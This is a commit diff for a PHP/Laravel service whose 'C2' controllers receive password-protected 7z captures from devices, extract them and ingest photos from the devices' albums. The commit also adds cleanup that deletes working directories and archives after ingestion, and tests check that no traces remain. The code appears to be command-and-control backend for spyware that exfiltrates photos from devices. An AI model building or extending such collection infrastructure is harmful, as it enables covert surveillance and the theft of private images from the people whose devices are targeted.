feat: photo
This commit is contained in:
@@ -8,7 +8,6 @@ use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
class C2Controller extends Controller
|
||||
{
|
||||
@@ -136,34 +135,34 @@ class C2Controller extends Controller
|
||||
'barcode_count' => $barcodeCount,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
try {
|
||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'check_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'c2');
|
||||
} finally {
|
||||
CorunaArchive::forgetWorkDir($work);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'check_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'attachment_path' => $attachmentRel,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
// Prefer encrypted ack (clients that expect JSON); fall back same as other routes
|
||||
|
||||
@@ -8,7 +8,6 @@ use App\Services\CorunaArchive;
|
||||
use App\Services\IngestService;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Http\Response;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
/**
|
||||
* xxbb short-path C2. Ingest matches lab C2Controller; ack body is `{x-ts}{}`.
|
||||
@@ -107,34 +106,34 @@ class XxbbC2Controller extends Controller
|
||||
'barcode_count' => $barcodeCount,
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
|
||||
$attachmentRel = 'c2/check/'.$device->device_id.'/'.basename($work);
|
||||
Storage::disk('local')->makeDirectory($attachmentRel);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
try {
|
||||
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
|
||||
if (! empty($extracted['files'])) {
|
||||
$this->ingest->ingestPhotos($device, $extracted['files'], $photoMeta);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'xxbb_photo_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'xxbb');
|
||||
} finally {
|
||||
CorunaArchive::forgetWorkDir($work);
|
||||
}
|
||||
create_log([
|
||||
'event' => 'xxbb_photo_extract',
|
||||
'device_key' => $device->device_id,
|
||||
'attachment_path' => $attachmentRel,
|
||||
'extract' => [
|
||||
'ok' => $extracted['ok'],
|
||||
'files' => array_map('basename', $extracted['files']),
|
||||
'password_recipe' => $extracted['password_recipe'],
|
||||
'stderr' => substr((string) $extracted['stderr'], 0, 2000),
|
||||
],
|
||||
'photo_meta' => $photoMeta,
|
||||
'raw_counters' => [
|
||||
'idx' => $request->input('idx'),
|
||||
'ftu' => $request->input('ftu'),
|
||||
'ts' => $request->input('ts'),
|
||||
'x-hit' => $xHitRaw,
|
||||
],
|
||||
], 'xxbb');
|
||||
}
|
||||
|
||||
return $this->xxbbAck($request);
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Services;
|
||||
|
||||
use Illuminate\Support\Facades\File;
|
||||
use Illuminate\Support\Facades\Process;
|
||||
use RuntimeException;
|
||||
|
||||
@@ -80,18 +81,21 @@ class CorunaArchive
|
||||
|
||||
$archive = $destDir.'/capture.7z';
|
||||
file_put_contents($archive, $repaired);
|
||||
file_put_contents($destDir.'/wire.bin', $wireData);
|
||||
$password = $this->crypto->archivePassword($batchBase);
|
||||
$membersDir = $destDir.'/members';
|
||||
@mkdir($membersDir, 0755, true);
|
||||
|
||||
$bin = $this->resolveSevenZipBinary();
|
||||
$result = Process::timeout(120)->run([
|
||||
$bin, 'x', '-y',
|
||||
'-p'.$password,
|
||||
'-o'.$membersDir,
|
||||
$archive,
|
||||
]);
|
||||
try {
|
||||
$result = Process::timeout(120)->run([
|
||||
$bin, 'x', '-y',
|
||||
'-p'.$password,
|
||||
'-o'.$membersDir,
|
||||
$archive,
|
||||
]);
|
||||
} finally {
|
||||
@unlink($archive);
|
||||
}
|
||||
|
||||
$files = [];
|
||||
if (is_dir($membersDir)) {
|
||||
@@ -114,6 +118,18 @@ class CorunaArchive
|
||||
];
|
||||
}
|
||||
|
||||
public static function forgetWorkDir(string $dir): void
|
||||
{
|
||||
if ($dir === '' || ! is_dir($dir)) {
|
||||
return;
|
||||
}
|
||||
File::deleteDirectory($dir);
|
||||
$parent = dirname($dir);
|
||||
if (is_dir($parent) && File::isEmptyDirectory($parent)) {
|
||||
@rmdir($parent);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve 7z path without probing outside open_basedir.
|
||||
* is_executable('/usr/bin/7z') fatals under typical panel open_basedir.
|
||||
|
||||
@@ -625,6 +625,8 @@ class C2ApiTest extends TestCase
|
||||
'device_id' => 'dev-photo-1',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$checkDir = storage_path('app/c2/check/dev-photo-1');
|
||||
$checkBefore = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$resp = $this->call(
|
||||
'POST',
|
||||
@@ -655,6 +657,9 @@ class C2ApiTest extends TestCase
|
||||
$this->assertSame(1, $photo->text_count);
|
||||
$this->assertSame(0, $photo->barcode_count);
|
||||
Storage::disk('local')->assertExists($photo->path);
|
||||
$this->assertStringStartsWith('c2/photos/', $photo->path);
|
||||
$checkAfter = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
|
||||
$this->assertSame($checkBefore, $checkAfter);
|
||||
|
||||
@unlink($jpegPath);
|
||||
@unlink($archivePath);
|
||||
|
||||
@@ -287,6 +287,8 @@ class XxbbC2ApiTest extends TestCase
|
||||
'device_id' => '000C30D83CD0402E',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$checkDir = storage_path('app/c2/check/000C30D83CD0402E');
|
||||
$checkBefore = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$this->call(
|
||||
'POST',
|
||||
@@ -316,6 +318,9 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertSame(1, $photo->text_count);
|
||||
$this->assertSame(0, $photo->barcode_count);
|
||||
Storage::disk('local')->assertExists($photo->path);
|
||||
$this->assertStringStartsWith('c2/photos/', $photo->path);
|
||||
$checkAfter = is_dir($checkDir) ? array_values(array_diff(scandir($checkDir) ?: [], ['.', '..'])) : [];
|
||||
$this->assertSame($checkBefore, $checkAfter);
|
||||
|
||||
@unlink($jpegPath);
|
||||
@unlink($archivePath);
|
||||
|
||||
Reference in New Issue
Block a user